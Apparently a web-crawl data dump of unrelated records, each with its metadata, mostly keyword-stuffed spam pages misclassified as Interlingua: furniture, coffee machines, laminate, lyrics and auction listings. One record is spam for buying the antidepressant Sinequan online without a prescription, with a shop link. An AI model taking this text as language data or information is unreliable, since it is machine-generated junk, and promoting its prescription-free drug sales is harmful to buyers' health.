de motoresque significa bmw significa bmw gs","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/truthfeed.net\/el\/q\/","date":"2020-02-24T02:06:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145869.83\/warc\/CC-MAIN-20200224010150-20200224040150-00206.warc.gz","language":"ina","language_score":0.3204574287,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.32045742869377136, \"ile_Latn_score\": 0.12568679451942444, \"glg_Latn_score\": 0.08770113438367844, \"mwl_Latn_score\": 0.07856005430221558, \"sco_Latn_score\": 0.05675769969820976, \"por_Latn_score\": 0.045600537210702896, \"dag_Latn_score\": 0.03498031944036484, \"bam_Latn_score\": 0.031105710193514824, \"cat_Latn_score\": 0.02886292152106762, \"spa_Latn_score\": 0.02258155681192875, \"hus_Latn_score\": 0.018331238999962807, \"run_Latn_score\": 0.017507825046777725}","num_words":169,"character_repetition_ratio":0.34,"word_repetition_ratio":0.212,"special_characters_ratio":0.137,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.315,"perplexity_score":6056.7,"cluster_detection":-1} +{"text":"E NomineLetras de E Nomine82 canciones disponiblesTop Letras de E NomineDer ProphetE NomineMitternachtE NomineDer Tod (the Dead)E NomineDer SchreiE NomineDer Ring Der NibelungenE NomineDer FÜrst Der FinsternisE NomineDer Exorzist (en español)E NomineDer ExorzistE NomineDer BlaubeermundE NomineDer AhnungsschauerE NomineDeine WeltE NomineDas UnheilE NomineDas Tier In Mir WolfenE NomineDas tier in mir [español]E NomineDas Tier in Mir (en español)E NomineDas SchweigenE NomineDas OmenE NomineDas BÖseE NomineDas AbendmahlE NomineCarpe NoctemE NomineBibelworte Des ällmächtigenE NomineAve Maria!E NomineAus Dem JenseitsE NomineAngstE NomineAnderwelt (laterna Magica)E NomineMás letras de E NomineMostrar sus 82 letrasE Nomine no está entre los 500 artistas más apoyados y visitados de esta semana.¿Apoyar a E Nomine?","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.musica.com\/letras.asp?letras=5196","date":"2020-05-29T01:30:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347401004.26\/warc\/CC-MAIN-20200528232803-20200529022803-00472.warc.gz","language":"ina","language_score":0.4212669432,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.42126694321632385, \"lat_Latn_score\": 0.09905505925416946, \"srd_Latn_score\": 0.07836735248565674, \"glg_Latn_score\": 0.05426528677344322, \"deu_Latn_score\": 0.035831350833177567, \"spa_Latn_score\": 0.029785554856061935, \"oci_Latn_score\": 0.01833900809288025, \"por_Latn_score\": 0.017551256343722343, \"vec_Latn_score\": 0.014402437023818493, \"ile_Latn_score\": 0.012201660312712193, \"bar_Latn_score\": 0.011281248182058334, \"nrm_Latn_score\": 0.010787852108478546, \"ita_Latn_score\": 0.010171245783567429}","num_words":250,"character_repetition_ratio":0.134,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.885,"perplexity_score":17678.7,"cluster_detection":-1} +{"text":"Graphite Nebula Laminate Plastic mayline csii double pedestal bow front desk Graphite Plastic Laminate Nebula .\nGraphite Nebula Laminate Plastic bevel edge laminate countertop trim graphite nebula Laminate Graphite Nebula Plastic .\nGraphite Nebula Laminate Plastic best rite best rite modular soft seating collection Laminate Nebula Graphite Plastic .\nGraphite Nebula Laminate Plastic wilsonart standard 48 in x 120 in graphite nebula laminate Plastic Nebula Graphite Laminate .\nGraphite Nebula Laminate Plastic wilsonart 2 in x 3 in laminate countertop sample in Laminate Graphite Plastic Nebula .\nGraphite Nebula Laminate Plastic wilsonart graphite nebula matte finish 5 ft x 12 ft Nebula Plastic Laminate Graphite .\nGraphite Nebula Laminate Plastic laminate graphite nebula 4623 Plastic Graphite Laminate Nebula .\nGraphite Nebula Laminate Plastic graphite nebula wilsonart 4623 pvc edgebanding 1516quot x Nebula Graphite Plastic Laminate .\nGraphite Nebula Laminate Plastic toilet partitions baked enamel or powder coated be Nebula Laminate Graphite Plastic .\nGraphite Nebula Laminate Plastic laminate graphite nebula 4623 Laminate Nebula Graphite Plastic .\nGraphite Nebula Laminate Plastic laminates st johns office furniture systems Laminate Graphite Nebula Plastic .\nGraphite Nebula Laminate Plastic laminate graphite nebula 4623 Laminate Nebula Graphite Plastic 1 1.\nGraphite Nebula Laminate Plastic wilsonart 4623 graphite nebula 5x12 sheet laminate matte Laminate Graphite Plastic Nebula .\nGraphite Nebula Laminate Plastic wilsonart graphite nebula laminate custom crescent edge c Nebula Laminate Plastic Graphite .\nGraphite Nebula Laminate Plastic shop wilsonart 48 in x 10 ft graphite nebula laminate Nebula Plastic Graphite Laminate .\nGraphite Nebula Laminate Plastic laminate graphite nebula 4623 Plastic Graphite Laminate Nebula 1 1.\nGraphite Nebula Laminate Plastic laminate graphite nebula 4623 Graphite Nebula Laminate Plastic .\nGraphite Nebula Laminate Plastic 4623 graphite nebula laminate countertops Nebula Plastic Laminate Graphite .\nGraphite Nebula Laminate Plastic plymold seating dealer laminated plastic booth seating Nebula Graphite Plastic Laminate .\nGraphite Nebula Laminate Plastic graphite nebula color caulk for wilsonart laminate Graphite Plastic Nebula Laminate .\nGraphite Nebula Laminate Plastic laminate graphite nebula 4623 Nebula Plastic Laminate Graphite .\nGraphite Nebula Laminate Plastic laminate graphite nebula 4623 Nebula Laminate Plastic Graphite .\nGraphite Nebula Laminate Plastic timberman designs Graphite Plastic Laminate Nebula .\nGraphite Nebula Laminate Plastic graphite nebula color caulk for wilsonart laminate Nebula Laminate Plastic Graphite .\nGraphite Nebula Laminate Plastic wilsonart 3 ft x 8 ft laminate sheet in graphite nebula Graphite Laminate Plastic Nebula .\nGraphite Nebula Laminate Plastic wilsonart 5 ft x 10 ft laminate sheet in graphite nebula Laminate Nebula Plastic Graphite .\nGraphite Nebula Laminate Plastic graphite nebula color caulk for wilsonart laminate Laminate Nebula Graphite Plastic .","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saou.info\/graphite-nebula-laminate-plastic\/","date":"2020-09-27T17:34:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400283990.75\/warc\/CC-MAIN-20200927152349-20200927182349-00771.warc.gz","language":"ina","language_score":0.4504262507,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.45042625069618225, \"eng_Latn_score\": 0.22232037782669067, \"slv_Latn_score\": 0.05922741815447807, \"lat_Latn_score\": 0.04242784157395363, \"lvs_Latn_score\": 0.03659752756357193, \"eus_Latn_score\": 0.01798165775835514, \"mlt_Latn_score\": 0.017500929534435272, \"hrv_Latn_score\": 0.01530488021671772}","num_words":660,"character_repetition_ratio":0.319,"word_repetition_ratio":0.312,"special_characters_ratio":0.172,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.377,"perplexity_score":14833.7,"cluster_detection":-1} +{"text":"|sorti le 10\/01\/89||sorti le 10\/04\/89||sorti le 10\/07\/89||sorti le 08\/09\/89||sorti le 10\/11\/89||sorti le 10\/01\/90|\n|sorti le 09\/03\/90||sorti le 10\/05\/90||sorti le 10\/07\/90||sorti le 10\/09\/90||sorti le 09\/11\/90||sorti le 10\/01\/91|\n|sorti le 08\/03\/91||sorti le 10\/06\/91||sorti le 10\/09\/91||sorti le 08\/11\/91||sorti le 10\/02\/92||sorti le 10\/06\/92|\n|sorti le 04\/08\/92||sorti le 02\/10\/92||sorti le 02\/12\/92||sorti le 04\/02\/93||sorti le 02\/04\/93||sorti le 04\/06\/93|\n|sorti le 04\/08\/93||sorti le 04\/10\/93||sorti le 04\/12\/93||sorti le 02\/05\/94||sorti le 02\/09\/94||sorti le 04\/11\/94|\n|sorti le 03\/02\/95||sorti le 04\/04\/95||sorti le 02\/06\/95||sorti le 04\/08\/95||sorti le 04\/10\/95||sorti le 01\/12\/95|\n|sorti le 02\/02\/96||sorti le 10\/05\/96||sorti le 02\/08\/96||sorti le 01\/11\/96||sorti le 04\/02\/97||sorti le 04\/04\/97|\n|Couvertures japonaises des 42 volumes parus chez Sueisha\n\n\n(série terminée)","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.mangaverse.net\/html\/bluescouvjap.htm","date":"2020-09-26T19:21:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400244353.70\/warc\/CC-MAIN-20200926165308-20200926195308-00403.warc.gz","language":"ina","language_score":0.3130101264,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3130101263523102, \"fra_Latn_score\": 0.3103635013103485, \"ron_Latn_score\": 0.07479585707187653, \"crs_Latn_score\": 0.04484940320253372, \"dyu_Latn_score\": 0.03160540759563446, \"smo_Latn_score\": 0.03083178400993347, \"ita_Latn_score\": 0.02101857401430607, \"sot_Latn_score\": 0.019871268421411514, \"fud_Latn_score\": 0.019787931814789772, \"und_Grek_score\": 0.010439012199640274, \"vec_Latn_score\": 0.010058424435555935}","num_words":234,"character_repetition_ratio":0.305,"word_repetition_ratio":0.898,"special_characters_ratio":0.598,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.321,"perplexity_score":3139.5,"cluster_detection":-1} +{"text":"Sinequan Prezzo basso In linea\nPosto migliore per comprare generico 75 mg Sinequan nessuna prescrizione. Sinequan Generico è un farmaco antidepressivo triciclico. Viene usato nel trattamento della depressione e dell'ansia.\nValutazione 4.1 sulla base di 174 voti.\nPrezzo da €0.26 Per pillola\n**OR Copy&Paste a link into browser bar:\nunionlab.top\/shop?keyword=Sinequan\nPopular phrasesrelated to Generic Sinequan (Doxepin hydrochloride):\nacquisto Sinequan farmacia\ndove acquistare Sinequan in farmacia\nfarmacias venden Sinequan sin receta mexico\nQuanto costa Sinequan Emirati Arabi Uniti\nA buon mercato 75 mg Sinequan Inghilterra\ngenerico Sinequan portugal\nPrezzo Sinequan 75 mg\nPrezzo 75 mg Sinequan Portogallo\nPrezzo 75 mg Sinequan Grecia\nSinequan en farmacia doctor simi\ncuanto cuesta el Sinequan en la farmacia en mexico\nSinequan farmacias similares\nIl costo di Sinequan 75 mg Giappone\nin linea Doxepin hydrochloride Grecia\nSinequan generico precisa de receita\ngenerico Sinequan Portogallo\ncuanto vale Sinequan generico mexico\nfarmacias venden Sinequan generico mexico\ngenerico do Sinequan é igual\nAcquista Sinequan Doxepin hydrochloride Tacchino\ngenericos do Sinequan funciona\nse comprar Sinequan farmacias sin receta\nSinequan farmacia serve ricetta\npret Sinequan in farmacia\nAcquistare Sinequan Doxepin hydrochloride Tacchino\ngenerico Sinequan Doxepin hydrochloride Regno Unito\nSinequan generico senza ricetta in farmacia\nA buon mercato Sinequan UK\nprograma prevsaude desconto Sinequan\nSconto Sinequan Doxepin hydrochloride Grecia\ncome posso acquistare Sinequan\nbasso costo Sinequan Brasile\ngenerico do Sinequan em bh\ndove acquistare Sinequan contrassegno\nse puede comprar Sinequan sin receta en farmacia\ncomprar Sinequan farmacias cruz verde\nAcquista 75 mg Sinequan Australia\nforum acquisto Sinequan on line\nSconto Doxepin hydrochloride US\nOrdine Sinequan 75 mg Israele\nSinequan generico venda no brasil\nlevitra generico Sinequan\nqual o nome generico do Sinequan\nfarmacia venden Sinequan\nIl costo di Sinequan 75 mg Polonia\nIl costo di Sinequan Giappone\nA buon mercato Sinequan 75 mg Giappone\nAcquistare 75 mg Sinequan\nbasso costo Sinequan Singapore\nqual nome do generico do Sinequan\nacquisto Sinequan inghilterra\nSinequan generico online italia\ne possibile acquistare Sinequan senza ricetta\nse puede comprar Sinequan farmacia sin receta\nacquisto Sinequan line\nconveniente 75 mg Sinequan Giappone\ncomprar Sinequan farmacia andorra\nPrezzo basso Sinequan 75 mg Portogallo\npvp Sinequan en farmacias\nin linea Sinequan Doxepin hydrochloride Svezia\ncomprar Sinequan generico online españa\nprecio de Sinequan en farmacia españa\nA buon mercato 75 mg Sinequan Spagna\nPrezzo Sinequan Croazia\ngenerico Sinequan receita\nAcquistare 75 mg Sinequan Svezia\nOrdine 75 mg Sinequan Australia\nAcquista 75 mg Sinequan Giappone\nSinequan american soldier\ngenericos Sinequan Doxepin hydrochloride levitra\ncual es el nombre generico del Sinequan\nQuanto costa Sinequan Repubblica Ceca\nfarmacias venden Sinequan sin receta madrid\nSinequan generico tempo efeito\nSinequan generico en colombia\nIn linea Zanaflex Sconto\nbuy Nolvadex\ngeneric Flagyl\nbuy Diflucan\nSVnEHh","id":"","dump":"CC-MAIN-2021-25","url":"http:\/\/www.80nsai.com\/2016\/10\/11\/sinequan-prezzo-basso-in-linea-consegna-in-tutto-il-mondo-3-7-giorni-cheap-pharmacy-no-rx\/","date":"2021-06-24T21:56:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488559139.95\/warc\/CC-MAIN-20210624202437-20210624232437-00159.warc.gz","language":"ina","language_score":0.3626354635,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36263546347618103, \"ita_Latn_score\": 0.1509830206632614, \"lat_Latn_score\": 0.09977603703737259, \"eus_Latn_score\": 0.0841900110244751, \"ile_Latn_score\": 0.03913498669862747, \"lij_Latn_score\": 0.03283516317605972, \"scn_Latn_score\": 0.022213714197278023, \"nap_Latn_score\": 0.02072085067629814, \"por_Latn_score\": 0.01750865951180458, \"kiu_Latn_score\": 0.01560296956449747, \"vec_Latn_score\": 0.014904077164828777, \"arg_Latn_score\": 0.011929892003536224, \"srd_Latn_score\": 0.011853585951030254, \"mlt_Latn_score\": 0.011147408746182919, \"nld_Latn_score\": 0.010127602145075798}","num_words":930,"character_repetition_ratio":0.15,"word_repetition_ratio":0.017,"special_characters_ratio":0.159,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.201,"perplexity_score":24772.6,"cluster_detection":-1} +{"text":"Inicio\nSamsung\nHuawei\nMotorola\nLG\nApple\nNokia\nalcatel\nSony\nXiaomi\nMost unlocked:\nOnePlus 8\niPhone 11\nSamsung A10s\nOppo Find X2\nAll posts in:\nGionee\nComo Liberar un Gionee S6 Pro Gratis\nComo Liberar un Gionee M6 Gratis\nComo Liberar un Gionee M6 Plus Gratis\nComo Liberar un Gionee S6s Gratis\nComo Liberar un Gionee F103 Pro Gratis\nComo Liberar un Gionee P7 Max Gratis\nComo Liberar un Gionee P7 Gratis\nComo Liberar un Gionee S9 Gratis\nComo Liberar un Gionee Steel 2 Gratis\nComo Liberar un Gionee M2017 Gratis\nComo Liberar un Gionee F5 Gratis\nComo Liberar un Gionee A1 Gratis\nComo Liberar un Gionee A1 Plus Gratis\nComo Liberar un Gionee M6s Plus Gratis\nComo Liberar un Gionee S10C Gratis\nOlder Entries ›\nRecent Unlocked:\nOnePlus Nord N100\nSamsung Galaxy A12\nMotorola Moto G Play (2021)\nXiaomi Redmi Note 9\nLG K22\nOppo A15","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/comoliberar.com\/category\/gionee\/","date":"2023-03-20T12:34:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943483.86\/warc\/CC-MAIN-20230320114206-20230320144206-00788.warc.gz","language":"ina","language_score":0.3437024355,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.34370243549346924, \"nds_Latn_score\": 0.07587962597608566, \"glg_Latn_score\": 0.06080099195241928, \"pdt_Latn_score\": 0.05909016728401184, \"ast_Latn_score\": 0.058845411986112595, \"frp_Latn_score\": 0.04772785305976868, \"spa_Latn_score\": 0.033270370215177536, \"mwl_Latn_score\": 0.032123059034347534, \"vec_Latn_score\": 0.029380934312939644, \"ido_Latn_score\": 0.021519046276807785, \"lvs_Latn_score\": 0.018640315160155296, \"lmo_Latn_score\": 0.018434753641486168, \"wls_Latn_score\": 0.016972078010439873, \"pap_Latn_score\": 0.015627406537532806, \"srd_Latn_score\": 0.014684916473925114, \"yua_Latn_score\": 0.014163949526846409}","num_words":220,"character_repetition_ratio":0.382,"word_repetition_ratio":0.057,"special_characters_ratio":0.235,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.284,"perplexity_score":6503.9,"cluster_detection":-1} +{"text":"tu te imaginas descargardescargar tu te imaginasdescargar tu te imaginas de la ghettodescargar tu te imaginas dela ghetto originalde la ghetto tu te imaginas descargardescargar de la ghetto tu te imaginastu te imaginas de la ghetto descargartu te imaginas delaghetto descargardescargar tu te imaginas dela ghetto flowhotde la ghetto tu te imaginas mp3tu te imaginas original descargarde la ghetto tu te imaginastu te imaginas fuleteodescargar tu te imaginas originaltu te imaginas downloaddescargar delaghetto tu te imaginasdescargar de la guettode la ghetto tu te imaginas original descargardescargar tu te imaginas dela ghetto mp3descargar tu te imaginas delaghettode la ghetto tu te imaginas descargar mp3tu te imaginas dela ghetto descargardescargar la cancion tu te imaginas de la ghettotu te imaginas de la ghetto descargar mp3descargar gratis tu te imaginas delaghettotu te imaginas de la guettodescargar tu te imaginas mp3tu te imaginas drla ghetto descargar mp3descargar musica de la ghetto tu te imaginasdescargar tu te imaginas de delaghettodescargar tu te imaginas de la ghetto originaltu te imaginas de la ghetto mp3tu te imaginas de la guetto descargartu te imaginas descargar fuleteotu te imaginas delaghettotu te imaginas dela ghetto mp3tu te imaginas dela ghetto downloaddescargar tu te imaginadescargar tu te imaginas de la guettotu te imaginas de la ghetto descargar mp3 version originaldescargar gratis tu te imaginas de la ghettotu te imaginas de la guetodescargar cancipn version original tu te imaginasde la ghetto tu te imaginas downloadde la guetta tu te imaginas mp3 gratiTu te imaginas mp3descargar cancion tu te imaginas de la ghettovideos de la ghetto tu te imaginastu te imaginas original mp3descargar tu te imaginas de la ghetto fuleteo mp3descargar tu te imaginas de la ghetto mp3dedcarga la cancion tu te imaginas de la gettodescargar tu te imaginas de la ghetto gratisdescargar mp3 tu te imaginastu te imaginas original fuleteodescargar tu te imaginas cosculluelade la ghetto tú te imaginas version hip hopdescargar la cancion de la ghetto tu te imaginastu te imaginas de la getodelaghetto tu te imaginasDescarga tu te imaginasdescargar cancion tu te imaginas mp3tu te imagina delaghetto descargardescargar tu te imaginas dela ghettodescargar tu te imaginas de la guetto originaldescargar cancion de de la ghetto tu te imaginasdescargar la cancion de dela ghetto tu te imaginasdescargar de la ghetto tu te imaginas mp3 gratisdownload tu te imaginas delaghettode la ghetto tu te imaginatu te imaginas remix mp3 descargatu te imaginas version originaldescargar video de tu te imagina de la ghettodescsrgar tu te imaginas fuleteofuleteo tu te imaginastu te imaginas vercion originaldescargar video ghetto tu te imaginasdescargar video tu te imaginas-de la ghetto 3gpDescargar video de reggaton de tú te imaginas delagetovídeo tu te imaginas para descargar","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/fuleteo.co\/de-la-ghetto-tu-te-imaginas-reggaeton-version-prod-by-nan2-el-maestro-de-las-melodias\/","date":"2013-12-12T06:37:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164561235\/warc\/CC-MAIN-20131204134241-00006-ip-10-33-133-15.ec2.internal.warc.gz","language":"ina","language_score":0.3057287335,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3057287335395813, \"spa_Latn_score\": 0.23331943154335022, \"rmy_Latn_score\": 0.17731298506259918, \"vec_Latn_score\": 0.07397332787513733, \"pem_Latn_score\": 0.020870206877589226, \"lat_Latn_score\": 0.018499299883842468, \"gmv_Latn_score\": 0.013883809559047222, \"arn_Latn_score\": 0.01129194162786007}","num_words":851,"character_repetition_ratio":0.358,"word_repetition_ratio":0.164,"special_characters_ratio":0.158,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.306,"perplexity_score":6437.7,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite camion » Aste per le vendite camion HINOAste per le vendite DAFAste per le vendite FORDAste per le vendite ISUZUAste per le vendite IVECOAste per le vendite MANAste per le vendite MERCEDES-BENZAste per le vendite RENAULTAste per le vendite SCANIAAste per le vendite VOLVO","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/autoline-eu.it\/auction\/camion-HINO--c1tm4104.html","date":"2016-10-26T21:15:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988720973.64\/warc\/CC-MAIN-20161020183840-00557-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.8340736032,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8340736031532288, \"frp_Latn_score\": 0.08163850009441376, \"lmo_Latn_score\": 0.03429444134235382, \"nap_Latn_score\": 0.022592579945921898, \"ita_Latn_score\": 0.013085802085697651, \"bew_Latn_score\": 0.010792153887450695}","num_words":92,"character_repetition_ratio":0.433,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.979,"perplexity_score":2357.2,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite pale caricatriciAste per le vendite altre macchine ediliAste per le vendite escavatoriAste per le vendite macchine costruzioni stradaliAste per le vendite piattaforme aereeAste per le vendite gruAste per le vendite dumper specialiAste per le vendite macchine per calcestruzzo » Aste per le vendite pale caricatrici LIEBHERRAste per le vendite BOBCATAste per le vendite CASEAste per le vendite CATERPILLARAste per le vendite HYTECAste per le vendite HYUNDAIAste per le vendite JCBAste per le vendite KOMATSUAste per le vendite KRAMERAste per le vendite VOLVO","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-pale-caricatrici-LIEBHERR--c7tkall_12tm2657.html","date":"2017-02-20T08:38:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170434.7\/warc\/CC-MAIN-20170219104610-00147-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.6565930247,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.6565930247306824, \"ita_Latn_score\": 0.15512289106845856, \"nap_Latn_score\": 0.10108048468828201, \"frp_Latn_score\": 0.03575124964118004, \"lmo_Latn_score\": 0.030392298474907875, \"bew_Latn_score\": 0.010770962573587894}","num_words":189,"character_repetition_ratio":0.391,"word_repetition_ratio":0.033,"special_characters_ratio":0.16,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.855,"perplexity_score":2352.0,"cluster_detection":-1} +{"text":"grande surface salle de bain petite.\ngran surface id es d pour am grande salle de bain, sign morne gran grande surface salle de bain, grande surface salle de bain gran, images tableau suspenes grande surface salle de bain, grande surface salle de bain petite with,beautiful gran surface pictures grande salle de bain ,grande surface salle de bain la plan,la news grande surface salle de bain ,grande surface salle de bain plans 5 a ma nos,petite surface awesome grande salle de bain","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/tristao.me\/salle-de-bain-grande-surface\/grande-surface-salle-de-bain-petite\/","date":"2018-01-16T09:48:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886397.2\/warc\/CC-MAIN-20180116090056-20180116110056-00222.warc.gz","language":"ina","language_score":0.4348491132,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4348491132259369, \"fra_Latn_score\": 0.20304930210113525, \"gul_Latn_score\": 0.05180612951517105, \"knc_Latn_score\": 0.04836233705282211, \"wes_Latn_score\": 0.0347367525100708, \"nap_Latn_score\": 0.019574427977204323, \"rmq_Latn_score\": 0.014537271112203598, \"nrm_Latn_score\": 0.014052826911211014, \"cbk_Latn_score\": 0.013039864599704742, \"mwl_Latn_score\": 0.012528893537819386, \"pcd_Latn_score\": 0.012419146485626698}","num_words":139,"character_repetition_ratio":0.311,"word_repetition_ratio":0.2,"special_characters_ratio":0.191,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":0.435,"perplexity_score":4675.2,"cluster_detection":-1} +{"text":"cafetera con capsulas cafetera capsulas lavazza minu blancaa cafetera dolce gusto capsulas compatibles mercadona.\ncafetera con capsulas nescafaar dolce gustoar genio cafetera de capsulas automatica roja krupsar imagen por cafetera capsulas barata.\ncafetera con capsulas nescafaar dolce gustoar mini me cafetera de capsulas automatica blanca krupsar imagen cafetera capsulas oferta corte ingles.\ncafetera con capsulas cafetera de capsulas dolce gusto delonghi jovia edg250 blanco cafetera dolce gusto capsulas compatibles mercadona.\ncafetera con capsulas cafetera hostelera a de fortaleza cafetera capsulas corte ingles.\ncafetera con capsulas camo elegir una cafetera de capsulas nespresso tassimo dolce gusto senseo cafetera capsulas.\ncafetera con capsulas cafetera delonghi melody 3 edg 626 s 24 capsulas dolce gusto de regalo cafetera capsulas dolce gusto media markt.\ncafetera con capsulas nescafac dolce gusto eclipse cafetera de capsulas capsulas cafetera nestle dolce gusto.\ncafetera con capsulas cafetera piccolo krups kp1006 roja cafetera capsulas barata.\ncafetera con capsulas cafetera capsulas nescafe dolce gusto.\ncafetera con capsulas cafeteras con capsulas cafeteras capsulas universales.\ncafetera con capsulas cafetera espresso manual delonghi piccolo edg200r para capsulas nescafac dolce gusto comprar cafetera capsulas baratas.\ncafetera con capsulas cremesso automatic cafetera de capsulas color morado cafetera capsulas dolce gusto precio.\ncafetera con capsulas capsulas cafetera nestle dolce gusto.\ncafetera con capsulas cafetera dolce gusto melody en color rojo vista de perfil cafetera capsulas dolce gusto media markt.\ncafetera con capsulas cafetera capsulas nespresso.\ncafetera con capsulas chollo cafetera de capsulas bosch tassimo 27eur cafetera capsulas nespresso precio.\ncafetera con capsulas r cafetera nespresso comprar cafetera capsulas baratas.\ncafetera con capsulas cafetera capsulas compatibles lidl.\ncafetera con capsulas delonghi dolce gusto melody 3 cafetera de capsulas dolce gusto opinian y analisis cafetera capsulas barata.\ncafetera con capsulas oferta cafetera capsulas krups inissia 49eur 16 capsulas gratis cafetera delonghi capsulas compatibles.\ncafetera con capsulas mostrar todas las imagenes cafetera capsulas el corte ingles.\ncafetera con capsulas cafetera capsulas krups capsulas cafetera nestle dolce gusto.\ncafetera con capsulas fotos cafetera capsulas lavazza minu rojaa cafetera capsulas dolce gusto el corte ingles.\ncafetera con capsulas cafetera nespresso capsulas planas.\ncafetera con capsulas cafetera capsulas compatibles nespresso warm inox cafetera capsulas mercadona.\ncafetera con capsulas nescafaar dolce gustoar stelia cafetera de capsulas automatica gris delonghiar cafetera dolce gusto capsulas mercadona.\ncafetera con capsulas 3 pack krups dolce gusto oblo kp1108 cafetera de capsulas 15 bares de presian capsulas cafetera nestle dolce gusto.\ncafetera con capsulas ate gusta este chollo avalarame cafetera tassimo capsulas mercadona.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/topkeyword.info\/cafetera-con-capsulas\/","date":"2018-06-18T09:57:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267860168.62\/warc\/CC-MAIN-20180618090026-20180618110026-00482.warc.gz","language":"ina","language_score":0.3272519112,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3272519111633301, \"lfn_Latn_score\": 0.23117533326148987, \"spa_Latn_score\": 0.1672671139240265, \"lat_Latn_score\": 0.0687800869345665, \"scn_Latn_score\": 0.06437595933675766, \"srd_Latn_score\": 0.018969973549246788, \"mwl_Latn_score\": 0.017806867137551308, \"ron_Latn_score\": 0.011842608451843262}","num_words":1028,"character_repetition_ratio":0.328,"word_repetition_ratio":0.309,"special_characters_ratio":0.154,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":0.327,"perplexity_score":4391.2,"cluster_detection":-1} +{"text":"meuble de bibliotheque design atagare bibliothaque laquac design olivier plusieurs couleurs au choix m 012 meuble bibliotheque moderne pas cher.\nmeuble de bibliotheque design meuble tv et bibliotheque meuble tv bibliotheque design pas cher meuble bibliotheque design italien.\nmeuble de bibliotheque design meubles bibliotheque design meuble bibliotheque design meuble tv bibliotheque avec tv et on decoration d interieur meubles bibliotheque design meuble de bibliotheque desi.\nmeuble de bibliotheque design bibliothaque design london basse meuble bibliotheque design pas cher.\nmeuble de bibliotheque design meuble bibliothaque blanc deco interieur meuble bibliotheque design sur mesure.\nmeuble de bibliotheque design meuble annecy mobilier design annecy meuble mobilier annecy meuble bibliotheque meuble bibliotheque moderne pas cher.\nmeuble de bibliotheque design meuble bibliothaque original idaces racussies damacnagement et daccoration meuble bibliotheque design italien.\nmeuble de bibliotheque design meuble bibliotheque design sur mesure.\nmeuble de bibliotheque design bibliotheque separation ple mle pinterest the ojays partout meuble separation de pieces design meuble tv bibliotheque design pas cher.\nmeuble de bibliotheque design bibliothaque zona giorno meuble bibliotheque design pas cher.\nmeuble de bibliotheque design gamme de meubles tv bibliothacque tomasella meuble bibliotheque design italien.\nmeuble de bibliotheque design bibliotheque boxjpg meuble bibliotheque design sur mesure.\nmeuble de bibliotheque design meuble tv bibliothaque design meuble tv tendance meuble tv bibliotheque design meuble tv bibliotheque design.\nmeuble de bibliotheque design les 25 meilleures idaces de la catacgorie bureau bibliothaque sur pinterest bibliothaque intacgrac bibliothaque avec bureau intacgrac et bureau rayonnage meuble bibliothe.\nmeuble de bibliotheque design fabriquer un meuble bibliothaque design meuble bibliotheque design pas cher.\nmeuble de bibliotheque design bibliotheque meuble tv meuble 